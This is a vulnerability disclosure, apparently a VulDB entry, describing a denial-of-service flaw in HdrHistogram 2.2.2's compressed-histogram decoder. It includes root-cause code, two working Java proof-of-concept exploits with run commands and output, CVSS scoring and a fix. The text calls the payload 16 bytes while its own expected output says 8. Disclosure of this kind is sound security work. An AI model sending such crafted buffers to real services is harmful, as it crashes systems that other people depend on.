| Title | HdrHistogram 2.2.2 Denial of Service |
|---|
| Description | ## Vulnerability Summary
| Field | Value |
|-------|-------|
| **Product** | HdrHistogram |
| **Version** | 2.2.2 and earlier |
| **Vendor** | HdrHistogram (Open Source) |
| **Vulnerability Type** | CWE-789: Memory Allocation with Excessive Size Value |
| **Severity** | High |
| **CVSS 3.1 Score** | 7.5 (High) |
| **CVSS 3.1 Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| **Affected Component** | `org.HdrHistogram.AbstractHistogram.decodeFromCompressedByteBuffer()` |
| **Source File** | `src/main/java/org/HdrHistogram/AbstractHistogram.java:2275-2281` |
## Description
A vulnerability exists in HdrHistogram's compressed histogram decoding functionality where the `lengthOfCompressedContents` field read from an attacker-controlled ByteBuffer is used directly as an allocation size without any validation. When the ByteBuffer is not array-backed (e.g., a `DirectByteBuffer`), the code executes `new byte[lengthOfCompressedContents]` at line 2281, allowing an attacker to trigger an Out-of-Memory (OOM) condition with a payload as small as 16 bytes.
## Root Cause Analysis
In `AbstractHistogram.java`, the `decodeFromCompressedByteBuffer()` method reads the compressed contents length from the buffer and uses it directly for memory allocation:
```java
// AbstractHistogram.java:2275-2284
final int lengthOfCompressedContents = buffer.getInt(); // attacker-controlled!
final Inflater decompressor = new Inflater();
if (buffer.hasArray()) {
decompressor.setInput(buffer.array(), initialTargetPosition + 8, lengthOfCompressedContents);
} else {
byte[] compressedContents = new byte[lengthOfCompressedContents]; // NO VALIDATION!
buffer.get(compressedContents);
decompressor.setInput(compressedContents);
}
```
The `lengthOfCompressedContents` value is never validated against:
- The remaining bytes in the buffer (`buffer.remaining()`)
- A reasonable maximum size
- Negative values
## Attack Scenario
Any application that decodes histogram data from untrusted network sources (e.g., metrics aggregation, distributed tracing, monitoring data exchange) is vulnerable. An attacker can send a crafted 16-byte payload over the network that causes the target JVM to attempt a multi-gigabyte allocation, resulting in:
1. `OutOfMemoryError` crashing the processing thread
2. Potential JVM-wide OOM affecting all threads
3. Complete denial of service for the monitoring/metrics service
## Proof of Concept
### POC Code
```java
import org.HdrHistogram.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
public class POC_OOM_CompressedLength {
public static void main(String[] args) {
// V2 compressed cookie
int compressedCookie = 0x1c849304;
// Use a DIRECT buffer (non-array-backed) to trigger the vulnerable path
ByteBuffer buffer = ByteBuffer.allocateDirect(16).order(ByteOrder.BIG_ENDIAN);
buffer.putInt(compressedCookie); // cookie
buffer.putInt(Integer.MAX_VALUE / 2); // lengthOfCompressedContents = ~1GB!
buffer.flip();
System.out.println("Payload size: " + buffer.remaining() + " bytes");
System.out.println("Claimed compressed length: " + (Integer.MAX_VALUE / 2) + " bytes");
try {
Histogram.decodeFromCompressedByteBuffer(buffer, 0);
} catch (OutOfMemoryError e) {
System.out.println("OOM triggered: " + e.getMessage());
}
}
}
```
### Reproduction Steps
1. Clone HdrHistogram repository: `git clone https://github.com/HdrHistogram/HdrHistogram`
2. Build the project: `mvn compile -DskipTests`
3. Compile POC: `javac -cp target/classes POC_OOM_CompressedLength.java`
4. Run with limited heap: `java -cp target/classes:. -Xmx64m POC_OOM_CompressedLength`
### Expected Output
```
Payload size: 8 bytes
Claimed compressed length: 1073741823 bytes
OOM triggered: Java heap space
```
### Reproduction Result
```
[*] POC: Unvalidated lengthOfCompressedContents -> OOM DoS
[*] Using DirectByteBuffer (non-array-backed) to trigger allocation path
[*] Buffer: DirectByteBuffer, size=16 bytes
[*] Claimed compressed length: 1073741823 bytes (~1GB)
[*] The code will try: new byte[1073741823]
[*] JVM max heap: 64MB
[*] Attempting decode...
[+] SUCCESS: OutOfMemoryError triggered!
[+] Error: Java heap space
[+] A 16-byte payload caused attempted 1GB allocation
[+] Vulnerability confirmed: CWE-789 OOM DoS
[+] Root cause: lengthOfCompressedContents not validated against buffer.remaining()
```
## CVSS 3.1 Scoring Breakdown
| Metric | Value | Justification |
|--------|-------|---------------|
| Attack Vector (AV) | Network (N) | Exploitable via network-received histogram buffers |
| Attack Complexity (AC) | Low (L) | No special conditions required |
| Privileges Required (PR) | None (N) | No authentication needed |
| User Interaction (UI) | None (N) | No user interaction required |
| Scope (S) | Unchanged (U) | Impact limited to the vulnerable component |
| Confidentiality (C) | None (N) | No data disclosure |
| Integrity (I) | None (N) | No data modification |
| Availability (A) | High (H) | Complete denial of service via OOM |
## Impact
- **Availability**: Complete denial of service. A single 16-byte malicious payload can crash the JVM.
- **Affected Use Cases**: Any application that decodes compressed HdrHistogram data from untrusted sources, including metrics aggregation services, distributed tracing backends, and monitoring systems.
- **Amplification Factor**: 16 bytes of attacker input causes attempted allocation of 1,073,741,823 bytes (~67 million times amplification).
## Remediation
```java
// Add validation before allocation:
final int lengthOfCompressedContents = buffer.getInt();
if (lengthOfCompressedContents < 0 || lengthOfCompressedContents > buffer.remaining()) {
throw new IllegalArgumentException(
"Compressed contents length (" + lengthOfCompressedContents +
") exceeds available buffer data (" + buffer.remaining() + ")");
}
```
## Full POC Script
```java
import org.HdrHistogram.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
/**
* POC for Vulnerability #3: Unvalidated Allocation Size from lengthOfCompressedContents
* When ByteBuffer is NOT array-backed (direct buffer), the code allocates
* new byte[lengthOfCompressedContents] without validating the value.
*/
public class POC_OOM_CompressedLength2 {
public static void main(String[] args) {
System.out.println("[*] POC: Unvalidated lengthOfCompressedContents -> OOM DoS");
System.out.println("[*] Using DirectByteBuffer (non-array-backed) to trigger allocation path");
// V2 compressed cookie
int compressedCookie = 0x1c849304;
// Use a DIRECT buffer (non-array-backed) to trigger the vulnerable path at line 2281
ByteBuffer buffer = ByteBuffer.allocateDirect(16).order(ByteOrder.BIG_ENDIAN);
buffer.putInt(compressedCookie); // cookie
buffer.putInt(Integer.MAX_VALUE / 2); // lengthOfCompressedContents = ~1GB!
buffer.flip();
System.out.println("[*] Buffer: DirectByteBuffer, size=16 bytes");
System.out.println("[*] Claimed compressed length: " + (Integer.MAX_VALUE / 2) + " bytes (~1GB)");
System.out.println("[*] The code will try: new byte[" + (Integer.MAX_VALUE / 2) + "]");
System.out.println("[*] JVM max heap: " + (Runtime.getRuntime().maxMemory() / 1024 / 1024) + "MB");
System.out.println("[*] Attempting decode...");
try {
Histogram.decodeFromCompressedByteBuffer(buffer, 0);
System.out.println("[-] No exception");
} catch (OutOfMemoryError e) {
System.out.println("[+] SUCCESS: OutOfMemoryError triggered!");
System.out.println("[+] Error: " + e.getMessage());
System.out.println("[+] A 16-byte payload caused attempted 1GB allocation");
System.out.println("[+] Vulnerability confirmed: CWE-789 OOM DoS");
System.out.println("[+] Root cause: lengthOfCompressedContents not validated against buffer.remaining()");
} catch (Exception e) {
System.out.println("[!] Exception: " + e.getClass().getName() + ": " + e.getMessage());
if (e instanceof java.nio.BufferUnderflowException) {
System.out.println("[+] BufferUnderflowException confirms the code tried to read the claimed bytes");
System.out.println("[+] With a larger (but still small) buffer, this would be OOM");
}
}
}
}
```
### Compile and Run
```bash
javac -cp target/classes -d . POC_OOM_CompressedLength2.java
java -cp target/classes:. -Xmx64m POC_OOM_CompressedLength2
```
## References
- Repository: https://github.com/HdrHistogram/HdrHistogram
- Affected File: `src/main/java/org/HdrHistogram/AbstractHistogram.java`
- CWE-789: https://cwe.mitre.org/data/definitions/789.html |
|---|
| Source | ⚠️ https://github.com/HdrHistogram/HdrHistogram/issues/219 |
|---|
| User | sara11h (UID 98571) |
|---|
| Submission | 06/03/2026 09:19 (1 month ago) |
|---|
| Moderation | 07/04/2026 06:40 (1 month later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 376279 [HdrHistogram up to 2.2.2 AbstractHistogram.java lengthOfCompressedContents memory allocation] |
|---|
| Points | 20 |
|---|